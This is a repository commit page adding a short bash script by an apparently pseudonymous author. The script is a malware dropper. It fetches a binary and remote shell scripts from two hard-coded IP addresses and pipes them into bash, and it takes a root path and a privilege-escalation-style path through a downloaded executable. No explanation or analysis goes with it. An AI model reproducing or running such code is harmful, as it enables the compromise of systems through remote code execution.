Commit f3b01040 authored by 0m3g4's avatar 0m3g4

Add New File

parents
Pipeline #196 canceled with stages
#!/bin/bash
priv=http://1.234.16.54:7070/apiapi/api/raw/master/m
s=http://123.30.179.206:8189/solr/.v7/v1
if [ `id -u` -eq 0 ];then
curl $s || wget -O - $s | bash
else
curl -LO $priv || wget $priv
chmod +x m
./m << EOF
if [ -x "$(command -v curl)" ]; then
curl $s | bash
else
wget -O - $s | bash
fi
EOF
fi
sleep 5
if [ -x "$(command -v curl)" ]; then
curl $s | bash
else
wget -O - $s | bash
fi
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment